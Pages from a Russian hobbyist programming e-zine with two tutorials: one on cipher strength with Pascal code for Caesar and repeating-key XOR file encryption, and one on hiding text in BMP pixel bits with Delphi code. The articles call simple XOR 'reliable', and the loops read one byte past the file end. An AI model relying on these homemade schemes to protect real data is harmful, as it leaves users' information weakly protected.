http://www.vr-online.ru
43
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Ну для начала я думаю следует сказать что абсолютно стойким можно назвать шифр только в том случае, если длина ключа не меньше длина незашифрованных данных, т. е. ключ накладывается один раз и при этом все ключи равновероятны. Это было доказано Клодом Шеннон (математик, внёс большой вклад в развитие криптографии). На практике все вместе эти условия как правило не выполняются так как это слишком неудобно из этого следует что большинство шифров теоретически могут быть вскрыты. Как известно криптостойкость при грамотно созданном алгоритме шифрования определяется длиной ключа, но бывает так, что при различных ключах зашифрованная информация может иметь один и тот же вид. Это уменьшает количество вариантов возможных ключей и может снизить эффективность надёжного на первый взгляд алгоритма. Также желательно делать проверку на наличие так называемых 'слабых' ключей т.е. таких ключей которые в силу особенностей данного алгоритма не могут обеспечить необходимый уровень защиты информации. Обычно такие вещи могут иметь месть если программа для шифрования сама ограничивает длину ключа или преобразует ключ таким образом, что его длина сокращается. Во многих программах шифрования используется генератор псевдослучайных чисел (ПЧС) для генерации ключа и если он сам или его инициализация реализованы неправильно, то это также может сузить интервал поиска ключа для взломщика. Вообще в системах где требуется высокая степень защиты информации не желательно использовать генератор ПЧС т.к. его числа не совсем случайны даже если он берёт начальные значения например от таймера то все последующие генерируются по какому-то математическому закону и совсем не обязательно что они будут равновероятны. 3 Условия надёжности системы шифрования Необходимо знать за какое время можно определить ключ методом перебора или как его ещё называют rough-force. Число операций для определения ключа по зашифрованному сообщению должно быть не меньше числа возможных ключей. Ключи не должны содержать осмысленных слов, имён и т.д. так как это снижает их надёжность. Любое незначительное изменение шифротекста или ключа не должно приводить даже к частичной расшифровке. Незначительное изменение данных до шифровки должно приводить к значительному изменению вида зашифрованной информации. Алгоритм должен удовлетворять правилу Керкхоффа (или Керкгоффа, в разной литературе его по разному называют): надёжность системы не должна зависить от знания криптоалгоритма, а должна определяться только надёжностью ключа. Желательно чтобы объем шифрованных данных был не больше объёма нешифрованных данных. Алгоритм не должен иметь слабых ключей или ключей приводяших незашифрованную информацию к одному и тому же виду. Требования предъявляются не только к алгоритмам и ключам, но и к информации. В криптографии есть такое понятие как избыточность тинформации. Объяснить что это такое можно следующим образом: частота употребления разных букв в тексте различна, также может быть неодинаковой вероятность появления в различных нетекстовых файлах каких-то элементов и на основе этого можно предположить что это за элемент и может быть даже полностью расшифровать сообщение. Этот метод называется методом частотного анализа. Для того, чтобы снизить избыточность данные нужно заархивировать. Кажется ничего не забыл. Если вас интересует математическая часть всего описанного выше, то лучше почитать 'Теория связи в секретных системах' Шеннона или взять учебник. 4 Некоторые алгоритмы шифрования и их программная реализация Первым что я хотел бы рассмотреть- это достаточно простой алгоритм известный как алгоритм Цезаря: Yi=(Xi+k)MOD N, где N-количество букв в алфавите k-ключ Xi-номер буквы исходного текста в алфавите Yi-номер буквы шифрованного текста в алфавите
http://www.vr-online.ru
44
VR-online Journal (Horrific and VR-Team)
Для программистов №9
На практике в системах шифрования его конечно же не используют из-за малой криптостойкости (количество вариантов=количеству букв в алфавите) , но его можно использовать в каких-то своих программах для того, чтобы скрыть информацию от любопытных глаз пользователя. Вот его программная реализация на Паскале(для английского алфавита): ------------------------------------------------------------------------------------------uses crt; const alfavit:string='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdifghijklmnopqrstuvwxyz'; var alf_size,key,i:integer; s:string; begin clrscr; alf_size:=length(alfavit); write('key:'); readln(key); write('text:'); readln(s); for i:=1 to length(s) do if pos(s[i],alfavit)<>0 then s[i]:=alfavit[((pos(s[i],alfavit)+key-1)mod alf_size)+1]; writeln(s); end. ---------------------------------------------------------------------------------------------В следующем примере я собираюсь показать более интересный и часто применяемый алгоритм, а если точнее то так называемое гаммирование через XOR (логическое исключающее ИЛИ). Для тех кто не знает или не помнит напомню, что: a xor b=0 (если a=b) и a xor b=1 (если a<>b) для битов a и b.Преобразование через XOR является обратимым, т.е. при повторном наложении гаммы шифрованные данные примут первоначальный вид. Возможно этот шифр покажется слишком простым и это действительно так, он простой, но надёжный: устойчивость определяется количеством символов в ключе и количеством букв в используемом алфавите, под алфавитом я не имею ввиду какой-то конкретный алфавит(русский, английский и т.д.), это могут быть любые символы, цифры, буквы и т.д. Если длина ключа=длине исходного текста, то такой шифр считается нераскрываемым. Но бывает так, что объём данных слишком большой и использовать такой же по размеру ключ неудобно, в этом случае уже появляются требования не только к ключу, но и к данным: чем меньше повторных наложений гаммы и чем меньше повторяющихся фрагментов в исходных данных, тем надёжнее шифр.По-этому перед шифрованием данные желательно сжать например архиватором. В следующей программе выбранный файл шифруется по заданному ключу побайтно(это сделано для того, чтобы не усложнять программу, но чтобы это всё работало быстро данные из файла лучше считывать блокам 30-50 Кб, как это сделано в моей программе Dead_Byte's File Criptor (DBFC ver 1.39)) ------------------------------------------------------------------------------------------uses crt; var f:file; f_name,pass:string; i,f_size,pass_size:longint; b:byte; begin clrscr; write('File name:'); readln(f_name); write('Password:'); readln(pass); pass_size:=length(pass); assign(f,f_name);
http://www.vr-online.ru
45
VR-online Journal (Horrific and VR-Team)
Для программистов №9
reset(f,1); f_size:=filesize(f); seek(f,0); for i:=0 to f_size do begin blockread(f,b,1); b:=b xor ord(pass[1+(i)mod pass_size]); seek(f,0); seek(f,i); blockwrite(f,b,1); end; close(f); end. -------------------------------------------------------------------------------------------Недостатками приведённого выше алгоритмя являются: 1)Не учитывается возможность вставки дополнительной информации в файл, а также изменения шифрованных данных. 2)Каждый байт ключа связан только с одним байтом из объёма данных = длине ключа. Из первого можно легко определить длину ключа, а второй может значительно облегчить поиск ключа. Также из-за второго недостатка вид зашифрованних данных при похожих ключах будет мало отличаться. Чтобы от этого избавиться нужно сделать так, чтобы каждый следующий байт шифруемой информации зависел от предыдущего, т.е. использовать криптоалгоритм с обратной связью. Теперь при небольшом изменении информации в любом месте в файле вызовет так называемый 'обвал', даже при подборе правильного ключа всё что находится после изменённого участка будет расшифровано не правильно. Да, чуть не забыл сказать ещё об одном недостатке, он конечно же не настолько значительный как эти два, но всё же упускать из виду его не стоит: если ключи похожи (например 2 n-байтных ключа отличаются только в 5-ом байте), то одинаковые данные зашифрованные с помощью этих ключей при первом наложении гаммы будут иметь одинаковый вид до 5-ого байта.Чтобы этого не было можно для ключей считать контрольную сумму и т.п. В следующем примере я этого не сделал чтобы не усложнять программу, но думаю если вам нужно вы легко сделаете это сами. Программа написана на Паскале, но в ней использован Ассемблер, т.к. Паскаль не переваривает некоторые вещи (в переменую типа byte заносится значение больше 255 и, как я и ожидал, программа вываливается)и я, чтобы не извращаться, решил сделать так: ------------------------------------------------------------------------------------------uses crt; var f:file; f_name,pass:string; i,f_size,pass_size:longint; b,tmp_b1,tmp_b2,p:byte; op:char; begin clrscr; write('File name:'); readln(f_name); write('Password:'); readln(pass); write('Cript(C)/Decript(D):'); readln(op); if (op<>'C')and(op<>'c')and(op<>'D')and(op<>'d') then begin writeln('Error'); exit; end; tmp_b1:=0; tmp_b2:=0;
http://www.vr-online.ru
46
VR-online Journal (Horrific and VR-Team)
Для программистов №9
pass_size:=length(pass); assign(f,f_name); reset(f,1); f_size:=filesize(f); seek(f,0); if (op='C')or(op='c') then begin for i:=0 to f_size do begin blockread(f,b,1); p:=ord(pass[1+(i)mod pass_size]); b:=(b xor ord(pass[1+(i)mod pass_size]))xor tmp_b1; asm mov al,tmp_b1 mov bl,b mov dl,p add al,bl add al,dl mov tmp_b1,al end; seek(f,0); seek(f,i); blockwrite(f,b,1) end; end; if (op='D')or(op='d') then begin for i:=0 to f_size do begin blockread(f,b,1); tmp_b2:=b; p:=ord(pass[1+(i)mod pass_size]); b:=(b xor ord(pass[1+(i)mod pass_size]))xor tmp_b1; asm mov al,tmp_b1 mov bl,tmp_b2 mov dl,p add al,bl add al,dl mov tmp_b1,al end; seek(f,0); seek(f,i); blockwrite(f,b,1) end; end; close(f); end. ------------------------------------------------------------------------------------------Ну вот и всё, для начала,я думаю, хватит ;-) Copyright: Dead_Byte P.S. Этот файл может свободно распространяться в неизменённом виде, и с сохранением информации о моём авторстве. Если у вас есть какие-либо вопросы или пожелания, пишите мне:dead_byte@mail.primorye.ru
http://www.vr-online.ru
47
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Стеганография для кодера Приветствую тебя кул-кодер! Наверное, ты в курсе, что мы живём в 21 веке. В веке, где информация имеет высшую цену. Разумеется, что информация известная большинству не стоит ни чего! Понимая это, люди, шифруют информацию. Кодеры пишут программки, новые алгоритмы шифрования... И всё бы хорошо, но любую зашифрованную инфу можно расшифровать. В случае стойкого алгоритма пароль можно выпытать, и тогда прощайте денежки. Поняв это, умные люди стали прятать инфу, маскировать её. В 20 веке эта наука получила название "стеганография" (т.е. "тайнопись"). Не смотря на то, что тайнописью люди занимаются давно, стеганография занимается только маскировкой компьютерной информации. Стеганографического софта на данный момент развелось достаточно, но достойных образцов немного. Отличаются такие программы двумя вещами: тем куда прячут и, собственно, алгоритмом. Прячут в основном в мультимедийные файлы (картинки, музыку, видео и.т.п.). Но иногда возникает надобность в своём алгоритме. Вот именно им мы сегодня и займёмся. Подготовка Писать мы будем стеганографическую софтинку, которая будет прятать текст в растровые рисунки формата BMP. В принципе, после небольшой переделки программа сможет работать и с GIF файлами, но я этот вариант разбирать не буду. Теперь немного о BMP. Ты, наверное, в курсе, что каждый пиксель БитМаПа описывается тремя байтами, каждый из которых описывает интенсивность одного из трёх цветов. Данный формат называется RGB - Red, Green, Blue. Соответственно первый байт - интенсивность красного, второй - зелёного, третий - синего. Существует ещё формат HLS (H-оттенок, L-яркость, S-насыщенность), но мы его трогать не будем. В 24битных (и более) растрах каждая константа (на самом деле это не константы, а переменные :)) принимает значение от 0 до 255. Глазу человека незаметно изменение цвета при изменении значения одной из цветовых констант на несколько единиц. Т.е. при изменении цвета с RGB(255,255,255) на RGB(254,254,254) человек ни чего не заметит. Этим мы и воспользуемся. Ну и, наконец, сам алгоритм. Мы берём текст и конвертируем его в длинную строку из ноликов и единичек. Для этого нам нужно ASCII-код каждого символа представить в 2ичном виде (8символьнаая строка) и по очереди «склеить», полученные 8символьные строки. Теперь нам надо наложить эту длиннющую строку на растр. Делаем это так: 1) берём первый символ строки (допустим это "0") 2) получаем цифирь, показывающую значение первой константы первого пикселя (т.е. интенсивность красного) 3) Если эта цифра не чётная, то прибавляем или отнимаем от неё 1 (т.е. делаем значение чётным). 4) Преобразовываем обратно в цвет, но уже с изменённой константой. 5) Перерисовываем пиксель. Таким образом, второй символ будет G-константой, третий - B-константой, а четвёртый опять R-константой, но уже цвета другого пикселя. Наверное, ты не уловил связи между символом нашей строки и значением цветовой константы. Посмотри сюда и всё поймёшь: символ строки "0" - чётное значение цветовой константы символ строки "1" - НЕ чётное значение цветовой константы
http://www.vr-online.ru
48
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Думаю, что обратный алгоритм ты сможешь додумать и сам. В программе я предусмотрел ещё две удобные мелочи. 1) Терминатор конца текста. Это нужно, чтоб при дешифровке после текста не было всякого мусора. 2) Шифрование текста. Я не стал мучиться, а использовал старый добрый XOR :) При желании ты сам добавишь нужный тебе алгоритм шифрования. Итак, приступимс! Весь код я разбирать не буду (а тем более строительство формы). При желании ты сам в нём разберёшься (смотри каталог с исходниками). Я разъясню только опорные моменты. Функции и процедуры: procedure ShowStatus; Показывает сколько символов введено, и сколько можно ввести function CreateBinStr(text: string): string; Преобразовывает текст в длинную строку из "0" и "1". Использует функцию Binary function Binary(ch: char): ShortString; Возвращает 8символьную строку, соответствующую 2ичному коду заданного символа function ColorChet(color: TColor; cn: byte): byte; Возвращает "0" или "1" в зависимости от чётности цветовой константы function ChangeColor(color: TColor; cn: byte): TColor; Меняет цвет так, что определённая константа превращается из чётной в нечётную (или наоборот) function EditPixel(n: integer; ch: byte; color: TColor): TColor; Обрабатывает определённую цветовую константу определённого пикселя function BinToStr(s: string): string; Функция обратная CreateBinStr function Crypt(text: string): string; Реализует шифрование XOR-ом function DelEnd(s: string): string; Перед выбросом текста в Memo «отрывает» всё после терминатора конца текста function GetChar(color: TColor; n: integer): Char; Определяет, с какой цветовой константой нужно работать и возвращает "0" или "1" в зависимости от чётности этой константы Константы: EndChar = 169; код символа-терминатора Ну и разберём процедуру, «запихивающую» текст в растр. procedure TMainF.extBmp1Click(Sender: TObject); var max, entered: integer; // максимально возможное количество символов // длина введённого текста text: String; // сам текст cyc, xp, yp: integer; // переменная для цикла // две координаты, обрабатываемого пикселя iWidth, iHeight: integer; // Ширина и высота растра begin iWidth := PicImg.Picture.Width; // получаем ширину растра iHeight := PicImg.Picture.Height; // получаем высоту растра max := (iWidth*iHeight*3 div 8) - 1; // вычисляем максимально возможное // количество символов // не забываем и про символ конца // текста entered := Length(TextMem.Text); // получаем длину текста
http://www.vr-online.ru
49
VR-online Journal (Horrific and VR-Team)
Для программистов №9
if entered = 0 then // если текст не введён... MessageDlg('Введите текст!', mtWarning, [mbOk], 0) else if max = -1 then // если растр не загружен MessageDlg('Загрузите растр!', mtWarning, [mbOk], 0) else begin if max < entered then // если введено больше возможного, то задаём вопрос if MessageDlg('Количество введённых символов превышает лимит для данного растра. Часть текста будет потеряна! Продолжить?', mtConfirmation, [mbYes, mbNo], 0) <> 6 then Exit; //-----------------------------------------if max < entered then // Подготавливаем текст, добавляем в // конец символ-терминатор text := copy(TextMem.Text, 1, max) + chr(EndChar) else text := TextMem.Text + chr(EndChar); text := Crypt(text); Text := CreateBinStr(text);
// шифруем текст // создаём длинную 2ичную строку
for cyc := 1 to Length(text) do
// проходимся циклом по всем // символам 2ичной строки
begin // вычисляем координату пикселя по оси Y yp := ((cyc-1) div 3) div (iWidth-1); // вычисляем координату пикселя по оси X xp := ((cyc-1) div 3) - (iWidth-1)*yp; PicImg.Canvas.Pixels[xp, yp] := EditPixel(cyc, StrToInt(text[cyc]), PicImg.Canvas.Pixels[xp, yp]); // Запускаем редактирование пикселя. Если его не надо редактировать, // он не отредактируется if cyc = iWidth*iHeight*3 then Break; // если конец растра, то ВЫХОД end; //-----------------------------------------end; end; Думаю, дополнительные комментарии излишни :) На комментирование других процедур не хватит ни меня, ни статьи. Так что разбирайся сам. Заодно выработаешь умение понимать чужой код, а это очень полезно. ОффТопик. Я забыл рассказать про плюсы и минусы. Исправляюсь: (+): 1. Изменения картинки незаметны для глаза 2. Размер файла картинки не меняется (-): Ограниченный объём полезной информации Выводы делай сам. Но, по-моему, усилия не напрасны. Для подтверждения посмотри на следующие две четырнадцати килобайтный текст!
http://www.vr-online.ru
картинки.
В
правой
сидит
50
VR-online Journal (Horrific and VR-Team)
ДО
Для программистов №9
ПОСЛЕ
Как улучшить прогу. Я бы заменил XOR чем-нибудь другим. PGP, например :)... А лучше, чтоб юзер сам выбирал, чем ему шифровать (типа плагины). Можно сделать ProgressBar, показывающий процент сконвертированного текста. Ну а если тебя тянет на подвиги, то замени тип входящей инфы с текста на файлы. Как видишь перспектив полно! Так что дерзай. Исходники можно найти в файле Enigma.zip Copyright © Саламатин Кирилл aka Del Del@vr-online.ru
http://www.vr-online.ru
51